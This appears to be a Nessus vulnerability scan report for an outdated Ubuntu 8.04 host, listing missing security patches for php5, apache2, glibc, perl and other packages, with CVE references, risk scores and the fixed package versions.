## VPR Score

6.7

## EPSS Score

0.8899

## CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

## References

| | |
|---|---|
| CVE | CVE-2011-0441 |
| CVE | CVE-2011-4153 |
| CVE | CVE-2011-4885 |
| CVE | CVE-2012-0057 |
| CVE | CVE-2012-0788 |
| CVE | CVE-2012-0830 |
| CVE | CVE-2012-0831 |
| XREF | USN:1358-2 |

## Exploitable With

Core Impact (true)

## Plugin Information

Published: 2012/02/14, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : php5-cgi_5.2.4-2ubuntu5.10
  - Fixed package     : php5-cgi_5.2.4-2ubuntu5.23
  - Installed package : php5-cli_5.2.4-2ubuntu5.10
  - Fixed package     : php5-cli_5.2.4-2ubuntu5.23
```

## 56554 - Ubuntu 8.04 LTS / 10.04 LTS / 10.10 / 11.04 / 11.10 : php5 vulnerabilities (USN-1231-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Mateusz Kocielski, Marek Kroemeke and Filip Palian discovered that a stack-based buffer overflow existed in the socket_connect function's handling of long pathnames for AF_UNIX sockets. A remote attacker might be able to exploit this to execute arbitrary code; however, the default compiler options for affected releases should reduce the vulnerability to a denial of service. This issue affected Ubuntu 10.04 LTS, Ubuntu 10.10 and Ubuntu 11.04. (CVE-2011-1938)

Krzysztof Kotowicz discovered that the PHP post handler function does not properly restrict filenames in multipart/form-data POST requests.

This may allow remote attackers to conduct absolute path traversal attacks and possibly create or overwrite arbitrary files. This issue affected Ubuntu 8.04 LTS, Ubuntu 10.04 LTS, Ubuntu 10.10 and Ubuntu 11.04. (CVE-2011-2202)

It was discovered that the crypt function for blowfish does not properly handle 8-bit characters. This could make it easier for an attacker to discover a cleartext password containing an 8-bit character that has a matching blowfish crypt value. This issue affected Ubuntu 10.04 LTS, Ubuntu 10.10 and Ubuntu 11.04.

(CVE-2011-2483)

It was discovered that PHP did not properly check the return values of the malloc(3), calloc(3) and realloc(3) library functions in multiple locations. This could allow an attacker to cause a denial of service via a NULL pointer dereference or possibly execute arbitrary code.

This issue affected Ubuntu 8.04 LTS, Ubuntu 10.04 LTS, Ubuntu 10.10 and Ubuntu 11.04. (CVE-2011-3182)

Maksymilian Arciemowicz discovered that PHP did not properly implement the error_log function. This could allow an attacker to cause a denial of service via an application crash. This issue affected Ubuntu 10.04 LTS, Ubuntu 10.10, Ubuntu 11.04 and Ubuntu 11.10. (CVE-2011-3267)

Maksymilian Arciemowicz discovered that the ZipArchive functions addGlob() and addPattern() did not properly check their flag arguments. This could allow a malicious script author to cause a denial of service via application crash. This issue affected Ubuntu 10.04 LTS, Ubuntu 10.10, Ubuntu 11.04 and Ubuntu 11.10.

(CVE-2011-1657)

It was discovered that the Xend opcode parser in PHP could be interrupted while handling the shift-left, shift-right, and bitwise-xor opcodes. This could allow a malicious script author to expose memory contents. This issue affected Ubuntu 10.04 LTS.

(CVE-2010-1914)

It was discovered that the strrchr function in PHP could be interrupted by a malicious script, allowing the exposure of memory contents. This issue affected Ubuntu 8.04 LTS. (CVE-2010-2484).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1231-1/

### Solution

Update the affected packages.

### Risk Factor

High

### VPR Score

6.5

### EPSS Score

0.5186

### CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

5.9 (CVSS2#E:POC/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 41991 |
| BID | 47950 |
| BID | 48259 |
| BID | 49241 |
| BID | 49249 |
| BID | 49252 |
| CVE | CVE-2010-1914 |
| CVE | CVE-2010-2484 |
| CVE | CVE-2011-1657 |
| CVE | CVE-2011-1938 |
| CVE | CVE-2011-2202 |
| CVE | CVE-2011-2483 |
| CVE | CVE-2011-3182 |
| CVE | CVE-2011-3267 |
| XREF | USN:1231-1 |

### Plugin Information

Published: 2011/10/19, Modified: 2019/09/19

## Plugin Output

### tcp/0

```
  - Installed package : php5-cgi_5.2.4-2ubuntu5.10
  - Fixed package     : php5-cgi_5.2.4-2ubuntu5.18

  - Installed package : php5-cli_5.2.4-2ubuntu5.10
  - Fixed package     : php5-cli_5.2.4-2ubuntu5.18

  - Installed package : php5-common_5.2.4-2ubuntu5.10
  - Fixed package     : php5-common_5.2.4-2ubuntu5.18
```

## 57888 - Ubuntu 8.04 LTS / 10.04 LTS / 10.10 / 11.04 / 11.10 : php5 vulnerabilities (USN-1358-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that PHP computed hash values for form parameters without restricting the ability to trigger hash collisions predictably. This could allow a remote attacker to cause a denial of service by sending many crafted parameters. (CVE-2011-4885)

ATTENTION: this update changes previous PHP behavior by limiting the number of external input variables to 1000. This may be increased by adding a 'max_input_vars' directive to the php.ini configuration file.

See http://www.php.net/manual/en/info.configuration.php#ini.max-input-vars for more information.

Stefan Esser discovered that the fix to address the predictable hash collision issue, CVE-2011-4885, did not properly handle the situation where the limit was reached. This could allow a remote attacker to cause a denial of service or execute arbitrary code via a request containing a large number of variables. (CVE-2012-0830)

It was discovered that PHP did not always check the return value of the zend_strndup function. This could allow a remote attacker to cause a denial of service. (CVE-2011-4153)

It was discovered that PHP did not properly enforce libxslt security settings. This could allow a remote attacker to create arbitrary files via a crafted XSLT stylesheet that uses the libxslt output extension.

(CVE-2012-0057)

It was discovered that PHP did not properly enforce that PDORow objects could not be serialized and not be saved in a session. A remote attacker could use this to cause a denial of service via an application crash. (CVE-2012-0788)

It was discovered that PHP allowed the magic_quotes_gpc setting to be disabled remotely. This could allow a remote attacker to bypass restrictions that could prevent a SQL injection. (CVE-2012-0831)

USN 1126-1 addressed an issue where the /etc/cron.d/php5 cron job for PHP allowed local users to delete arbitrary files via a symlink attack on a directory under /var/lib/php5/. Emese Revfy discovered that the fix had not been applied to PHP for Ubuntu 10.04 LTS. This update corrects the issue. We apologize for the error. (CVE-2011-0441).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1358-1/

### Solution

Update the affected packages.

### Risk Factor

High

### VPR Score

6.7

### EPSS Score

0.8899

### CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

6.5 (CVSS2#E:H/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 46928 |
| BID | 51417 |
| BID | 51806 |
| BID | 51830 |
| CVE | CVE-2011-0441 |
| CVE | CVE-2011-4153 |
| CVE | CVE-2011-4885 |
| CVE | CVE-2012-0057 |
| CVE | CVE-2012-0788 |
| CVE | CVE-2012-0830 |
| CVE | CVE-2012-0831 |
| XREF | USN:1358-1 |

### Exploitable With

Core Impact (true)

### Plugin Information

Published: 2012/02/10, Modified: 2019/09/19

### Plugin Output

tcp/0

```
- Installed package : php5-cgi_5.2.4-2ubuntu5.10
- Fixed package     : php5-cgi_5.2.4-2ubuntu5.22

- Installed package : php5-cli_5.2.4-2ubuntu5.10
- Fixed package     : php5-cli_5.2.4-2ubuntu5.22

- Installed package : php5-common_5.2.4-2ubuntu5.10
- Fixed package     : php5-common_5.2.4-2ubuntu5.22
```

## 56048 - Ubuntu 8.04 LTS / 10.04 LTS / 10.10 / 11.04 : apache2 vulnerability (USN-1199-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

A flaw was discovered in the byterange filter in Apache. A remote attacker could exploit this to cause a denial of service via resource exhaustion.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1199-1/

### Solution

Update the affected packages.

### Risk Factor

High

### VPR Score

6.6

### EPSS Score

0.9286

### CVSS v2.0 Base Score

7.8 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C)

### CVSS v2.0 Temporal Score

6.8 (CVSS2#E:H/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 49303 |
| CVE | CVE-2011-3192 |
| XREF | USN:1199-1 |

## Exploitable With

Core Impact (true)

## Plugin Information

Published: 2011/09/02, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : apache2-mpm-prefork_2.2.8-1ubuntu0.15
  - Fixed package     : apache2-mpm-prefork_2.2.8-1ubuntu0.21
```

## 56281 - Ubuntu 8.04 LTS / 10.04 LTS / 10.10 / 11.04 : apt vulnerabilities (USN-1215-1)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

It was discovered that the apt-key utility incorrectly verified GPG keys when downloaded via the net-update option. If a remote attacker were able to perform a man-in-the-middle attack, this flaw could potentially be used to install altered packages. This update corrects the issue by disabling the net-update option completely. A future update will re-enable the option with corrected verification.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1215-1/

### Solution

Update the affected apt package.

### Risk Factor

High

### References

| | |
|---|---|
| XREF | USN:1215-1 |

### Plugin Information

Published: 2011/09/23, Modified: 2019/09/19

### Plugin Output

tcp/0

```
  - Installed package : apt_0.7.9ubuntu17
  - Fixed package     : apt_0.7.9ubuntu17.3
```

## 55414 - Ubuntu 8.04 LTS / 10.04 LTS / 10.10 / 11.04 : curl vulnerabilities (USN-1158-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Richard Silverman discovered that when doing GSSAPI authentication, libcurl unconditionally performs credential delegation, handing the server a copy of the client's security credential. (CVE-2011-2192)

Wesley Miaw discovered that when zlib is enabled, libcurl does not properly restrict the amount of callback data sent to an application that requests automatic decompression. This might allow an attacker to cause a denial of service via an application crash or possibly execute arbitrary code with the privilege of the application. This issue only affected Ubuntu 8.04 LTS and Ubuntu 10.04 LTS. (CVE-2010-0734)

USN 818-1 fixed an issue with curl's handling of SSL certificates with zero bytes in the Common Name. Due to a packaging error, the fix for this issue was not being applied during the build. This issue only affected Ubuntu 8.04 LTS. We apologize for the error. (CVE-2009-2417)

Scott Cantor discovered that curl did not correctly handle SSL certificates with zero bytes in the Common Name. A remote attacker could exploit this to perform a man in the middle attack to view sensitive information or alter encrypted communications.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1158-1/

### Solution

Update the affected libcurl3, libcurl3-gnutls and / or libcurl3-nss packages.

### Risk Factor

High

### VPR Score

6.7

### EPSS Score

0.0414

### CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

## References

| | |
|---|---|
| CVE | CVE-2009-2417 |
| CVE | CVE-2010-0734 |
| CVE | CVE-2011-2192 |
| XREF | USN:1158-1 |
| XREF | CWE:310 |

## Plugin Information

Published: 2011/06/24, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : libcurl3-gnutls_7.18.0-1ubuntu2
  - Fixed package     : libcurl3-gnutls_7.18.0-1ubuntu2.3
```

## 55168 - Ubuntu 8.04 LTS / 10.04 LTS / 10.10 / 11.04 : libxml2 vulnerability (USN-1153-1)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

Chris Evans discovered that libxml2 incorrectly handled memory allocation. If an application using libxml2 opened a specially crafted XML file, an attacker could cause a denial of service or possibly execute code as the user invoking the program.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1153-1/

### Solution

Update the affected libxml2 package.

### Risk Factor

High

### VPR Score

6.7

### EPSS Score

0.1568

### CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

7.3 (CVSS2#E:POC/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 48056 |
| CVE | CVE-2011-1944 |
| XREF | USN:1153-1 |

## Plugin Information

Published: 2011/06/17, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : libxml2_2.6.31.dfsg-2ubuntu1
  - Fixed package     : libxml2_2.6.31.dfsg-2ubuntu1.6
```

## 59526 - Ubuntu 8.04 LTS / 10.04 LTS / 11.04 / 11.10 / 12.04 LTS : apt update (USN-1475-1)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

Georgi Guninski discovered that APT relied on GnuPG argument order and did not check GPG subkeys when validating imported keyrings via apt-key net-update. While it appears that a man-in-the-middle attacker cannot exploit this, as a hardening measure this update adjusts apt-key to validate all subkeys when checking for key collisions.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1475-1/

### Solution

Update the affected apt package.

### Risk Factor

High

### References

| | |
|---|---|
| XREF | USN:1475-1 |

### Plugin Information

Published: 2012/06/15, Modified: 2019/09/19

### Plugin Output

tcp/0

```
  - Installed package : apt_0.7.9ubuntu17
  - Fixed package     : apt_0.7.9ubuntu17.5
```

## 62495 - Ubuntu 8.04 LTS / 10.04 LTS / 11.04 / 11.10 / 12.04 LTS : bind9 vulnerability (USN-1601-1)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

Jake Montgomery discovered that Bind incorrectly handled certain specific combinations of RDATA. A remote attacker could use this flaw to cause Bind to crash, resulting in a denial of service.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1601-1/

### Solution

Update the affected bind9 package.

### Risk Factor

High

### VPR Score

3.6

### EPSS Score

0.4508

### CVSS v2.0 Base Score

7.8 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C)

### CVSS v2.0 Temporal Score

5.8 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| CVE | CVE-2012-5166 |
| XREF | USN:1601-1 |

## Plugin Information

Published: 2012/10/11, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : bind9_1:9.4.2-10
  - Fixed package     : bind9_1:9.4.2.dfsg.P2-2ubuntu0.12
```

## 62179 - Ubuntu 8.04 LTS / 10.04 LTS / 11.04 / 11.10 / 12.04 LTS : gnupg, gnupg2 vulnerability (USN-1570-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that GnuPG used a short ID when downloading keys from a keyserver, even if a long ID was requested. An attacker could possibly use this to return a different key with a duplicate short key id.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1570-1/

### Solution

Update the affected gnupg and / or gnupg2 packages.

### Risk Factor

High

### References

| | |
|---|---|
| XREF | USN:1570-1 |

### Plugin Information

Published: 2012/09/18, Modified: 2019/09/19

### Plugin Output

tcp/0

```
  - Installed package : gnupg_1.4.6-2ubuntu5
  - Fixed package     : gnupg_1.4.6-2ubuntu5.1
```

## 59016 - Ubuntu 8.04 LTS / 10.04 LTS / 11.04 / 11.10 / 12.04 LTS : php5 vulnerability (USN-1437-1)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

It was discovered that PHP, when used as a stand alone CGI processor for the Apache Web Server, did not properly parse and filter query strings. This could allow a remote attacker to execute arbitrary code running with the privilege of the web server. Configurations using mod_php5 and FastCGI were not vulnerable.

This update addresses the issue when the PHP CGI interpreter is configured using mod_cgi and mod_actions as described in /usr/share/doc/php5-cgi/README.Debian.gz; however, if an alternate configuration is used to enable PHP CGI processing, it should be reviewed to ensure that command line arguments cannot be passed to the PHP interpreter. Please see CVE-2012-2311 for more details and potential mitigation approaches.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1437-1/

### Solution

Update the affected php5-cgi package.

### Risk Factor

High

### VPR Score

8.9

### EPSS Score

0.9429

### CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

6.5 (CVSS2#E:H/RL:OF/RC:C)

## References

| | |
|---|---|
| CVE | CVE-2012-1823 |
| CVE | CVE-2012-2311 |
| XREF | USN:1437-1 |
| XREF | CISA-KNOWN-EXPLOITED:2022/04/15 |

## Exploitable With

CANVAS (true) Core Impact (true) Metasploit (true)

## Plugin Information

Published: 2012/05/07, Modified: 2022/03/28

## Plugin Output

tcp/0

```
  - Installed package : php5-cgi_5.2.4-2ubuntu5.10
  - Fixed package     : php5-cgi_5.2.4-2ubuntu5.24
```

## 59170 - Ubuntu 8.04 LTS / 10.04 LTS / 11.04 / 11.10 / 12.04 LTS : sudo vulnerability (USN-1442-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that sudo incorrectly handled network masks when using Host and Host_List. A local user who is listed in sudoers may be allowed to run commands on unintended hosts when IPv4 network masks are used to grant access. A local attacker could exploit this to bypass intended access restrictions. Host and Host_List are not used in the default installation of Ubuntu.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1442-1/

### Solution

Update the affected sudo and / or sudo-ldap packages.

### Risk Factor

High

### VPR Score

5.9

### EPSS Score

0.0008

### CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C)

### References

| | |
|---|---|
| CVE | CVE-2012-2337 |
| XREF | USN:1442-1 |

### Plugin Information

Published: 2012/05/17, Modified: 2019/09/19

## Plugin Output

### tcp/0

```
  - Installed package : sudo_1.6.9p10-1ubuntu3
  - Fixed package     : sudo_1.6.9p10-1ubuntu3.9
```

## 59856 - Ubuntu 8.04 LTS / 10.04 LTS / 11.04 / 11.10 / 12.04 LTS : tiff vulnerabilities (USN-1498-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that the TIFF library incorrectly handled certain malformed TIFF images. If a user or automated system were tricked into opening a specially crafted TIFF image, a remote attacker could crash the application, leading to a denial of service, or possibly execute arbitrary code with user privileges. (CVE-2012-2088)

It was discovered that the tiff2pdf utility incorrectly handled certain malformed TIFF images. If a user or automated system were tricked into opening a specially crafted TIFF image, a remote attacker could crash the application, leading to a denial of service, or possibly execute arbitrary code with user privileges. (CVE-2012-2113).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1498-1/

### Solution

Update the affected libtiff-tools and / or libtiff4 packages.

### Risk Factor

High

### VPR Score

5.9

### EPSS Score

0.0233

### CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 54076 |
| BID | 54270 |
| CVE | CVE-2012-2088 |
| CVE | CVE-2012-2113 |
| XREF | USN:1498-1 |

## Plugin Information

Published: 2012/07/06, Modified: 2019/09/19

## Plugin Output

tcp/0

```

  - Installed package : libtiff4_3.8.2-7ubuntu3.4
  - Fixed package     : libtiff4_3.8.2-7ubuntu3.12

```

## 63109 - Ubuntu 8.04 LTS / 10.04 LTS / 11.10 / 12.04 LTS / 12.10 : perl vulnerabilities (USN-1643-1)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

It was discovered that the decode_xs function in the Encode module is vulnerable to a heap-based buffer overflow via a crafted Unicode string. An attacker could use this overflow to cause a denial of service. (CVE-2011-2939)

It was discovered that the 'new' constructor in the Digest module is vulnerable to an eval injection. An attacker could use this to execute arbitrary code. (CVE-2011-3597)

It was discovered that Perl's 'x' string repeat operator is vulnerable to a heap-based buffer overflow. An attacker could use this to execute arbitrary code. (CVE-2012-5195)

Ryo Anazawa discovered that the CGI.pm module does not properly escape newlines in Set-Cookie or P3P (Platform for Privacy Preferences Project) headers. An attacker could use this to inject arbitrary headers into responses from applications that use CGI.pm.

(CVE-2012-5526).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1643-1/

### Solution

Update the affected perl package.

### Risk Factor

High

### VPR Score

6.7

### EPSS Score

0.1494

### CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

## CVSS v2.0 Temporal Score

5.9 (CVSS2#E:POC/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 49858 |
| BID | 49911 |
| BID | 56287 |
| BID | 56562 |
| CVE | CVE-2011-2939 |
| CVE | CVE-2011-3597 |
| CVE | CVE-2012-5195 |
| CVE | CVE-2012-5526 |
| XREF | USN:1643-1 |

## Plugin Information

Published: 2012/11/30, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : perl_5.8.8-12ubuntu0.5
  - Fixed package     : perl_5.8.8-12ubuntu0.7
```

## 65629 - Ubuntu 8.04 LTS / 10.04 LTS / 11.10 / 12.04 LTS / 12.10 : perl vulnerability (USN-1770-1)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

Yves Orton discovered that Perl incorrectly handled hashing when using user-provided hash keys. An attacker could use this flaw to perform a denial of service attack against software written in Perl.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1770-1/

### Solution

Update the affected perl package.

### Risk Factor

High

### VPR Score

5.8

### EPSS Score

0.0339

### CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 58311 |
| CVE | CVE-2013-1667 |
| XREF | USN:1770-1 |

## Plugin Information

Published: 2013/03/20, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : perl_5.8.8-12ubuntu0.5
  - Fixed package     : perl_5.8.8-12ubuntu0.8
```

## 65818 - Ubuntu 8.04 LTS / 10.04 LTS / 11.10 / 12.04 LTS / 12.10 : postgresql-8.3, postgresql-8.4, postgresql-9.1 vulnerabilities (USN-1789-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Mitsumasa Kondo and Kyotaro Horiguchi discovered that PostgreSQL incorrectly handled certain connection requests containing database names starting with a dash. A remote attacker could use this flaw to damage or destroy files within a server's data directory. This issue only applied to Ubuntu 11.10, Ubuntu 12.04 LTS, and Ubuntu 12.10.

(CVE-2013-1899)

Marko Kreen discovered that PostgreSQL incorrectly generated random numbers. An authenticated attacker could use this flaw to possibly guess another database user's random numbers. (CVE-2013-1900)

Noah Misch discovered that PostgreSQL incorrectly handled certain privilege checks. An unprivileged attacker could use this flaw to possibly interfere with in-progress backups. This issue only applied to Ubuntu 11.10, Ubuntu 12.04 LTS, and Ubuntu 12.10. (CVE-2013-1901).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1789-1/

### Solution

Update the affected postgresql-8.3, postgresql-8.4 and / or postgresql-9.1 packages.

### Risk Factor

High

### VPR Score

5.2

### EPSS Score

0.8778

### CVSS v2.0 Base Score

8.5 (CVSS2#AV:N/AC:M/Au:S/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

6.3 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 58876 |
| BID | 58878 |
| BID | 58879 |
| CVE | CVE-2013-1899 |
| CVE | CVE-2013-1900 |
| CVE | CVE-2013-1901 |
| XREF | USN:1789-1 |

### Plugin Information

Published: 2013/04/05, Modified: 2019/09/19

### Plugin Output

tcp/0

```
  - Installed package : postgresql-8.3_8.3.1-1
  - Fixed package     : postgresql-8.3_8.3.23-0ubuntu8.04.1
```

## 39363 - Ubuntu 8.04 LTS / 8.10 / 9.04 : apr-util vulnerabilities (USN-786-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Matthew Palmer discovered an underflow flaw in apr-util. An attacker could cause a denial of service via application crash in Apache using a crafted SVNMasterURI directive, .htaccess file, or when using mod_apreq2. Applications using libapreq2 are also affected.

(CVE-2009-0023)

It was discovered that the XML parser did not properly handle entity expansion. A remote attacker could cause a denial of service via memory resource consumption by sending a crafted request to an Apache server configured to use mod_dav or mod_dav_svn. (CVE-2009-1955)

C. Michael Pilato discovered an off-by-one buffer overflow in apr-util when formatting certain strings. For big-endian machines (powerpc, hppa and sparc in Ubuntu), a remote attacker could cause a denial of service or information disclosure leak. All other architectures for Ubuntu are not considered to be at risk. (CVE-2009-1956).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/786-1/

### Solution

Update the affected libaprutil1, libaprutil1-dbg and / or libaprutil1-dev packages.

### Risk Factor

High

### VPR Score

6.0

### EPSS Score

0.1007

### CVSS v2.0 Base Score

7.8 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C)

## CVSS v2.0 Temporal Score

6.1 (CVSS2#E:POC/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 35221 |
| BID | 35251 |
| BID | 35253 |
| CVE | CVE-2009-0023 |
| CVE | CVE-2009-1955 |
| CVE | CVE-2009-1956 |
| XREF | USN:786-1 |
| XREF | CWE:119 |
| XREF | CWE:189 |
| XREF | CWE:399 |

## Plugin Information

Published: 2009/06/11, Modified: 2021/01/19

## Plugin Output

tcp/0

```
  - Installed package : libaprutil1_1.2.12+dfsg-3
  - Fixed package     : libaprutil1_1.2.12+dfsg-3ubuntu0.1
```

## 50318 - Ubuntu 8.04 LTS / 9.04 / 9.10 / 10.04 LTS / 10.10 : glibc, eglibc vulnerabilities (USN-1009-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Tavis Ormandy discovered multiple flaws in the GNU C Library's handling of the LD_AUDIT environment variable when running a privileged binary. A local attacker could exploit this to gain root privileges. (CVE-2010-3847, CVE-2010-3856).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1009-1/

### Solution

Update the affected packages.

### Risk Factor

High

### VPR Score

8.9

### EPSS Score

0.0562

### CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

6.0 (CVSS2#E:F/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 44154 |
| BID | 44347 |
| CVE | CVE-2010-3847 |

| | |
|---|---|
| CVE | CVE-2010-3856 |
| CVE | CVE-2011-0536 |
| XREF | USN:1009-1 |

## Exploitable With

CANVAS (true) Core Impact (true) Metasploit (true)

## Plugin Information

Published: 2010/10/24, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : libc6_2.7-10ubuntu5
  - Fixed package     : libc6_2.7-10ubuntu7

  - Installed package : libc6-dev_2.7-10ubuntu5
  - Fixed package     : libc6-dev_2.7-10ubuntu7

  - Installed package : libc6-i686_2.7-10ubuntu5
  - Fixed package     : libc6-i686_2.7-10ubuntu7
```

## 51501 - Ubuntu 8.04 LTS / 9.10 / 10.04 LTS / 10.10 : eglibc, glibc vulnerability (USN-1009-2)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

USN-1009-1 fixed vulnerabilities in the GNU C library. Colin Watson discovered that the fixes were incomplete and introduced flaws with setuid programs loading libraries that used dynamic string tokens in their RPATH. If the 'man' program was installed setuid, a local attacker could exploit this to gain 'man' user privileges, potentially leading to further privilege escalations. Default Ubuntu installations were not affected.

Tavis Ormandy discovered multiple flaws in the GNU C Library's handling of the LD_AUDIT environment variable when running a privileged binary. A local attacker could exploit this to gain root privileges. (CVE-2010-3847, CVE-2010-3856).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1009-2/

### Solution

Update the affected packages.

### Risk Factor

High

### VPR Score

8.9

### EPSS Score

0.0562

### CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

6.0 (CVSS2#E:F/RL:OF/RC:C)

References

| | |
|---|---|
| BID | 44154 |
| BID | 44347 |
| CVE | CVE-2010-3847 |
| CVE | CVE-2010-3856 |
| CVE | CVE-2011-0536 |
| XREF | USN:1009-2 |

Exploitable With

CANVAS (true) Core Impact (true) Metasploit (true)

Plugin Information

Published: 2011/01/12, Modified: 2019/09/19

Plugin Output

tcp/0

```
  - Installed package : libc6_2.7-10ubuntu5
  - Fixed package     : libc6_2.7-10ubuntu8

  - Installed package : libc6-dev_2.7-10ubuntu5
  - Fixed package     : libc6-dev_2.7-10ubuntu8

  - Installed package : libc6-i686_2.7-10ubuntu5
  - Fixed package     : libc6-i686_2.7-10ubuntu8
```

